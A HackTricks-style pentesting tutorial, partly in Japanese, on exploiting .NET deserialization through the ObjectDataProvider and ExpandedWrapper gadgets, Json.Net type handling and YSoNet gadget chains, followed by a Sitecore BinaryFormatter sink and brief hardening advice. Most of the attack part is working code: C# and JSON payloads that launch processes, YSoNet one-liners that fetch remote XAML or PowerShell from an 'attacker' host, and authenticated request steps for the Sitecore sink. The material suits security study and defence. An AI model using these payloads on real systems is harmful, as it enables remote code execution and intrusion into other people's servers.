# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} この投稿は、**ObjectDataProvider ガジェットがどのように悪用されて RCE を得るか**、およびそのガジェットとともにシリアライゼーションライブラリ **Json.Net と xmlSerializer がどのように悪用され得るか** を理解することに捧げられています。 ## ObjectDataProvider Gadget ドキュメントによると: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ 説明はちょっと曖昧なので、このクラスの何が興味深いのか見てみましょう: このクラスは **任意のオブジェクトをラップし**、_**MethodParameters**_ を使って **任意のパラメータを設定し**、その後 **MethodName を使ってその任意のオブジェクトの任意の関数を任意のパラメータで呼び出す** ことを可能にします。\ つまり、任意の **object** は**復号化(deserialized)される際に**、**パラメータ付きの関数を実行する**ことになります。 ### **How is this possible** **System.Windows.Data** 名前空間は `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内に定義・実装されており、そこに ObjectDataProvider が存在します。 [**dnSpy**](https://github.com/0xd4d/dnSpy) を使えば、対象クラスの **コードを調査** できます。下の画像は **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** のコードを示しています。 ![](<../../images/image (427).png>) ご覧のとおり `MethodName` が設定されると `base.Refresh()` が呼ばれます。ではそれが何をするか見てみましょう: ![](<../../images/image (319).png>) 次に `this.BeginQuery()` が何をするかを見ていきます。`BeginQuery` は `ObjectDataProvider` によってオーバーライドされており、以下のようになっています: ![](<../../images/image (345).png>) コードの最後で `this.QueryWorke(null)` を呼んでいることに注意してください。これが何を実行するか見てみましょう: ![](<../../images/image (596).png>) これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);` を呼んでいる** — ここが **設定されたメソッドが実行される** 行です。 単に _**MethodName**_ を設定するだけで **それが実行される** ことを確認したければ、次のコードを実行できます: ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } } } ``` Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data` ## ExpandedWrapper Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). このクラスは、あるインスタンスにカプセル化されているオブジェクトの型を**指定することを可能にします**。したがって、このクラスはソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_ と _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\ これは前述のようなケースで非常に有用です。なぜなら、_ObjectDataProvider_ を **_ExpandedWrapper_ インスタンス内にラップ** でき、**デシリアライズされたときに** このクラスが _ObjectDataProvider_ オブジェクトを**生成し**、_**MethodName**_ に示された**関数を実行する**からです。 You can check this wrapper with the following code: ```java using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } } } ``` ## Json.Net In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. したがって、もし **deserialize the ObjectDataProvider gadget** が可能であれば、オブジェクトをデシリアライズするだけで **RCE** を引き起こすことができます。 ### Json.Net の例 まずは、このライブラリを使ってオブジェクトを**serialize/deserialize**する方法の例を見てみましょう: ```java using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic; namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = "james@example.com", Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} //Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } } ``` ### Json.Netの悪用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) を使用して、exploitを作成しました: ```java yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` このコードでは**test the exploit**ができます。実行すると calc が実行されるのを確認できます: ```java using System; using System.Text; using Newtonsoft.Json; namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); //Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } } ``` ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) 上で紹介した ObjectDataProvider + ExpandedWrapper 技術は、アプリケーションが **unsafe .NET deserialization** を行う場合に悪用され得る多数の gadget chain のうちの一つに過ぎません。Modern red-team ツールである **[YSoNet](https://github.com/irsdl/ysonet)**(旧来の [ysoserial.net](https://github.com/pwntester/ysoserial.net) を含む)は、何十種類もの gadgets やシリアライゼーション形式向けに、すぐに使える悪意あるオブジェクトグラフを自動生成します。 Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads. | Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | |--------------|----------------------|--------------------|------------------| | **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズ後にデリゲートが攻撃者指定の任意のメソッド(例: `Process.Start`)を指すようにする | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | | **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して **.NET ≥4.8 の type-filtering をバイパス** し、指定したクラスの **constructor** を直接呼び出すか、C# ファイルをその場で **compile** する | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | | **DataSetOldBehaviour** | `System.Data.DataSet` の **レガシー XML** 表現を利用し、`` / `` フィールドを埋めることで任意の型をインスタンス化する(`--spoofedAssembly` でアセンブリを偽装可能) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | | **GetterCompilerResults** | WPF 対応ランタイム(> .NET 5)でプロパティゲッターを連鎖させ `System.CodeDom.Compiler.CompilerResults` に到達し、`-c` で指定した DLL を *compile* または *load* する | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | | **ObjectDataProvider** (review) | WPF の `System.Windows.Data.ObjectDataProvider` を使って、制御可能な引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートでホストする便利な `--xamlurl` 変種を追加している | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | | **PSObject (CVE-2017-8565)** | `ScriptBlock` を `System.Management.Automation.PSObject` に埋め込み、PowerShell がオブジェクトを deserialize した際に実行される | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] > すべてのペイロードはデフォルトで **stdout に書き出されます**。そのため ViewState generators、base64 encoders、HTTP clients などの他ツールにパイプで渡すのが簡単です。 ### Building / Installing YSoNet If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; git clone https://github.com/irsdl/ysonet cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. ### 検出とハードニング * **検出** `w3wp.exe`、`PowerShell.exe`、またはユーザー提供データをデシリアライズする任意のプロセス(例:`MessagePack`、`Json.NET`)の想定外の子プロセスを検知する。 * レガシーの `BinaryFormatter` / `NetDataContractSerializer` を削除できない場合は、`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector`、`SerializationBinder` 等を使用して **型フィルタリングを有効化および強制** する。 * 可能であれば、ホワイトリストベースのコンバーターを使って **`System.Text.Json`** または **`DataContractJsonSerializer`** に移行する。 * 決して必要としない web プロセスで `PresentationFramework`、`System.Workflow.*` といった危険な WPF アセンブリがロードされないようブロックする。 ## 実際の sink: Sitecore convertToRuntimeHtml → BinaryFormatter 認証済みの Sitecore XP Content Editor フローから到達可能な実用的な .NET sink: - Sink API: `Sitecore.Convert.Base64ToObject(string)` は `new BinaryFormatter().Deserialize(...)` をラップしている。 - トリガー経路: パイプライン `convertToRuntimeHtml` → `ConvertWebControls` は、`id="{iframeId}_inner"` を持つ兄弟要素を検索し、base64 エンコードされたシリアライズ済みデータとして扱われる `value` 属性を読み取る。結果は string にキャストされて HTML に挿入される。 Minimal end‑to‑end (authenticated): ``` // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` - Gadget: 任意の BinaryFormatter チェーンで string を返す(デシリアライズ中に副作用が実行される)。YSoNet/ysoserial.net を参照して payloads を生成する。 Sitecore における HTML cache poisoning による pre‑auth から始まり、この sink に至る完全なチェーンについては次を参照: {{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}} ## 参考 - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) - [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) - [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) {{#include ../../banners/hacktricks-training.md}}